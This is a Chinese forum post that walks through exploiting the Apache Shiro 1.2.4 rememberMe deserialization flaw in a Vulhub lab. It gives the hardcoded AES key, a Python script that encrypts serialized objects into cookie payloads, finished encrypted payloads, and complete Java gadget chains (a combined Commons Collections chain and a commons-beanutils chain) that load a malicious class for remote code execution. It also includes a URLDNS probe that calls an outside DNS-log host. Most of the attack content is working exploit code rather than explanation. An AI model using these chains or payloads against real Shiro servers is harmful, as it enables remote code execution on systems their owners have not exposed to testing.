找回密码
 立即注册
注册 登录
×
热搜: 活动 交友 discuz
查看: 102|回复: 0

Shiro 550 反序列化漏洞

[复制链接]

2

主题

5

帖子

8

积分

新手上路

Rank: 1

积分
8
发表于 2022-12-17 20:18:30 | 显示全部楼层 |阅读模式
1 环境搭建

版本:shiro 1.2.4
Shiro编译坑太多,所以我们直接用Vulhub启动漏洞环境进行远程调试。关于远程调试的方法,我们在之前的漏洞分析文章中介绍过,这里不再赘述。
2 漏洞复现与分析

服务启动后,访问http://your-ip:8080,并使用admin:vulhub进行登录。登录后,服务端会返回一个cookie,其中的rememberMe就是漏洞利用点。


之后的每一次请求,客户端都会带上这个rememberMe的cookie:


2.1 服务端cookie处理流程

一般来说的话,cookie都很短,而这个很长的cookie实际上保存了许多认证信息,并且可以反序列化来读取。
接下来就分析代码中是如何处理客户端所发送的Cookie的。
getRememberedSerializedIdentity在获取cookie后,首先对其进行base64解码的操作:


接下来对getRememberedSerializedIdentity find usages,getRememberedPrincipals对其进行了调用,并且在获取到base64解码的内容后,将其传入了convertBytesToPrincipals中


继续跟入convertBytesToPrincipals,发现该返回对解码后内容做了两步操作:解密和反序列化


反序列化:其反序列化方法最终调用的是原生反序列化,这样如果所部署的项目有依赖存在漏洞的话(如CC),就可以直接打漏洞了


解密:我们发现解密函数传入了两个参数,一个是加密的内容,另一个是密钥,是对称加密的方式:


一路跟踪,找到为密钥赋值的地方,发现其是一个常量,加密算法是AES:


2.2 漏洞验证

分析到这里,我们就能得到漏洞的利用方式了。我们首先构造一个恶意的序列化对象,然后用代码中固定的key对其进行AES加密,然后对其进行base64编码,将编码后的内容作为cookie发送即可。服务端收到序列化的对象,对其进行base64解码、解密后再反序列化,从而触发漏洞利用。
接下来我们先思考构造什么反序列化对象,也就是漏洞打什么。
通过Dependency Analyser分析依赖可以看到,虽然pom文件中有CC,但其是test 的,在运行时实际只会加入compile和runtime的包。所以实际的shiro漏洞本身是不能打CC的。在实际场景中,要根据与shiro一起部署的其它库的漏洞来决定如何进行漏洞利用。


这个版本中shiro能利用的是commons-beanutils,但这里我们用之前入门的JDK原生的漏洞URLDNS来做漏洞测试。
我们直接将之前的URLDNS代码序列化生成一个对象
package URLDNS;

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class URLDNS_Solution1 {
    public static void main(String[] args) throws Exception {
        HashMap<URL, Integer> hashMap = new HashMap<>();
        URL url = new URL("http://xxxxx.ceye.io");
        Field hashCodeField = Class.forName("java.net.URL").getDeclaredField("hashCode");
        hashCodeField.setAccessible(true);
        hashCodeField.set(url, 0xdeafbeaf);
        hashMap.put(url, 0);
        hashCodeField.set(url, -1);

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("object.bin"));
        oos.writeObject(hashMap);

        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("object.bin"));
        ois.readObject();
    }
}然后对其进行用代码中的key对其进行AES加密(IV值随便取),并对加密结果进行base64编码:
import sys
import base64
import uuid
from random import Random
from Crypto.Cipher import AES


def get_file_data(file_name):
    with open(file_name, "rb") as f:
        data = f.read()
    return data


def aes_enc(data):
    BS = AES.block_size
    pad = lambda s : s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    cipher_text = base64.b64encode(iv + encryptor.encrypt(pad(data)))
    return cipher_text


def aes_dec(enc_data):
    enc_data = base64.b64decode(enc_data)
    unpad = lambda s : s[:-s[-1]]
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    plaintext = encryptor.decrypt(enc_data[16:])
    plaintext = unpad(plaintext)
    return plaintext


if __name__ == '__main__':
    file_name = "object.bin"
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes


    data = get_file_data(file_name)
    enc_data = aes_enc(data)
    print(enc_data)加密、编码后的payload如下:
aou3PXmqTcudXykKrwEq01gfE1vYoHp/Hs6ao8kokqBsLhJqYuCFC3OnQdi9UxCtrU3s+zeXTvZ6tgEEha5GPwztX0LEqRy3EqPJM8mzG6R8k3COuu/3Pf8GxJPexMk2hHc6Drci6QWcy5KAdRhPXnGeEZ/U+1ZFUHemgDUqP1mtEilk4i7i2/PHvskJHP57DzSKz70XBOznwOm5NRSVoEcfu8D7shdGzrnQxUshrkdujG1lLYPIxo/kBJFFjahZc+Rn0aotO44KIVnEgmrUtW/UgKEnn9QslZqMS6copEKW1soFhbe6izgTJIacy51984gW2spIkTnBxiFcw8bWp0urySuh0m78TVoFg3g9Jm2WvjD5r7/58p12Gsp6dz7Pla30cnXl/SSM2jS8StYn9CSAsV4ZM4RlkCEZYKEEDZhaMqqkQSVDDyKNbOjhtlKOg9xtin5FkqC9Z1RXeITogA==用这段payload去替换原先数据包中的RememberMe字段,注意要把JSESSIONID删掉,响应包中穿线rememberMe=deleteMe字段,说明漏洞利用成功


查看ceye,也受到了DNS请求:


shiro反序列化漏洞的特点在于,传递的payload是一个加密后的反序列化数据,它不像纯反序列化base64之后会以开头,因此绕过了某些以此为特征的检测机制。
之前学习的CC是危险的序列化对象,对其进行反序列化可以执行任意代码,而shiro漏洞的作用就是可以反序列化任意对象,CC漏洞是炸弹,shiro漏洞是引信,二者组合起来可以达到RCE的目的。
2.3 RCE - commons collections

因为后面要对导入的包做改动,所以还是要以本地编译的方式搭建漏洞环境,这里就直接用P神写的demo吧,配个Tomcat就直接能用了。
之前仅仅是对漏洞进行了验证,而现在我们要做到任意代码执行,可以看到p神的demo中也加入了cc3版本的依赖。


很多人RCE都是加入cc4版本的依赖,这是因为ysoserial官方的cc攻击链只能打cc2,而cc2用得到的是cc4版本。这里我们探讨一下如何打cc3版本。
如果我们直接用cc6去打的话,是会报错的,详细的原因我们不做深入探讨,这里只给出大致的结论:
shiro自定义了类加载器,其不能加载数组类
因为cc6中的transformers 是一个数组类对象,所以我们的目标是构造一个不使用数组的cc攻击链
回顾之前分析过的cc调用链:
https://www.processon.com/view/link/63270c0007912955b2f3aaae
可以看出,如果要使用Runtime.getRuntime().exec(),那么就必定要使用ChainedTransformer,进而必定使用Transformer数组。所以想要避开数组,只能使用动态类加载机制来RCE。这里我们可以将cc链做组合,使用cc6+cc3+cc2来构造攻击链:


组合后攻击链的代码如下:
public class ShiroRCE {
    public static void main(String[] args) throws Exception {
        // CC3:任意类加载触发RCE
        TemplatesImpl templates = new TemplatesImpl();
        Class tc = templates.getClass();
        Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "liz");

        Field byteCodesField = tc.getDeclaredField("_bytecodes");
        byteCodesField.setAccessible(true);

        String maliciousClassPath = "C:\\Document\\Projects\\ExploitShiro\\target\\classes\\org\\example\\Malicious.class";
        byte[] code = Files.readAllBytes(Paths.get(maliciousClassPath));
        byte[][] codes = {code};
        byteCodesField.set(templates, codes);

        // cc2:使用InvokerTransformer调用TemplatesImpl.newTransformer()
        InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);

        // cc6
        HashMap<Object, Object> map = new HashMap<>();
        Map lazyMap = LazyMap.decorate(map, invokerTransformer);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);

        HashMap<Object, Object> hashMap = new HashMap<>();

        // hashMap.put(tiedMapEntry, "value");
        // 反射调用putVal,避免触发hashCode
        Class cls = hashMap.getClass();
        Method[] declaredMethods = cls.getDeclaredMethods();
        for (Method method : declaredMethods) {
            if (method.getName() == "putVal") {
                method.setAccessible(true);
                method.invoke(hashMap, 0xdeadbeaf, tiedMapEntry, "value", false, false);
            }
        }
        serialize(hashMap);
//        deserialize();
    }用python脚本对序列化对象加密后的内容如下:
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将其填入rememberMe字段,发送可成功弹出计算器:


2.4 RCE - commons beanutils

前面说过,shiro本身的环境是不带cc依赖的,我们只是为了方便验证漏洞加入了cc以来,这一小节我们就利用shiro自带的commons beanutils依赖来RCE


我们知道,Java中的Bean就是一个封装了一些私有的属性,并通过getter和setter来访问和修改这些属性的类。而common beanutils是对bean的增强,它使我们可以不用特定的方法名,而是使用类似参数或配置文件的方式来调用特定的getter和setter,示例如下:
public class ShiroRceCB {
    public static void main(String[] args) throws Exception {
        Person person = new Person("Bob", 20);
        System.out.println(PropertyUtils.getProperty(person,"name"));
    }
}这里PropertyUtils.getProperty通过属性名name调用了person对象的getName方法。
回忆我们在分析cc3时,链中有一个TemplatesImpl.getTransletInstance(),该方法以get开头,是一个getter,理论也可以通过PropertyUtils.getProperty来调用之。但实际上,beanutils要求在调用时必须有相应的属性,也就是说想通过beanutils调用getTransletInstance,那么TemplatesImpl中必须有个属性叫transletInstance,但分析发现没有,所以我们要换个属性来调用。
TemplatesImpl.getOutputProperties()有对应的属性(_outputProperties,但是调用时的参数名却不能加下划线,不懂为啥,可能是beanutils内部做了处理),而且getOutputProperties()内部调用了newTransformer(),能够触发cc3攻击链:


于是,我们用TemplatesImpl.getOutputProperties()来验证一下,可以成功弹出计算器:
public class ShiroRceCB {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Class tc = templates.getClass();
        Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "liz");

        Field byteCodesField = tc.getDeclaredField("_bytecodes");
        byteCodesField.setAccessible(true);

        String path = "C:\\Document\\Projects\\ExploitShiro\\target\\classes\\org\\example\\Malicious.class";
        byte[] code = Files.readAllBytes(Paths.get(path));
        byte[][] codes = {code};
        byteCodesField.set(templates, codes);

        // 为验证漏洞,为transient的tfactory赋值
        Field tfactoryField = tc.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, new TransformerFactoryImpl());

        // 调用templates.getTransletInstance()
        PropertyUtils.getProperty(templates, "outputProperties");
    }
}
  所以,如果PropertyUtils.getProperty()的属性值如果能被我们任意控制的话,那我们就能够任意执行代码了
public class ShiroRceCB {
    public static void main(String[] args) throws Exception {
        // cc3
        TemplatesImpl templates = new TemplatesImpl();
        Class tc = templates.getClass();
        Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "liz");

        Field byteCodesField = tc.getDeclaredField("_bytecodes");
        byteCodesField.setAccessible(true);

        String path = "C:\\Document\\Projects\\ExploitShiro\\target\\classes\\org\\example\\Malicious.class";
        byte[] code = Files.readAllBytes(Paths.get(path));
        byte[][] codes = {code};
        byteCodesField.set(templates, codes);

        // commons beanutils
        BeanComparator beanComparator = new BeanComparator("outputProperties");

        // cc2
        TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));

        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
        priorityQueue.add(templates);
        priorityQueue.add(2);

        Class cls = priorityQueue.getClass();
        Field comparatorField = cls.getDeclaredField("comparator");
        comparatorField.setAccessible(true);
        comparatorField.set(priorityQueue, beanComparator);

        serialize(priorityQueue);
//        deserialize();
    }注意到,这里我们用到TransformingComparator和ConstantTransformer来走通序列化的流程,虽然这两个类是CC的类,在目标系统中没有,但是我们最后在序列化之前,又反射修改回了beanComparator。所以,我们在构造序列化对象时不必拘泥太多,只需要确保发送过去的序列化对象中包含的类,都被目标系统所包含即可。
到这里,如果我们把序列化对象加密后发送的话,实际上还是失败的。原因在于我们在实例化BeanComparator时,会默认传入一个ComparableComparator.getInstance(),而ComparableComparator又是cc库中的类(cc和cb还真是好兄弟呢),所以会报错,导致漏洞利用失败。




但是BeanComparator还有一个构造函数,允许我们传入自定义的comparator,这个comparator类满足两点:1)public的;2)可序列化的,这种类可以直接导出Comparator的所有实现类,用脚本对其逐个判断即可。


我们找到这样一个类:AttrCompare(),用其作为实例化BeanComparator的参数即可:
BeanComparator beanComparator = new BeanComparator("outputProperties", new AttrCompare());序列化后加密并发送payload,成功弹出计算器:

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|手机版|小黑屋| 黑客通

GMT+8, 2025-10-14 01:40 , Processed in 0.133929 second(s), 22 queries .

Powered by Discuz! X3.4

Copyright © 2020, LianLian.

快速回复 返回顶部 返回列表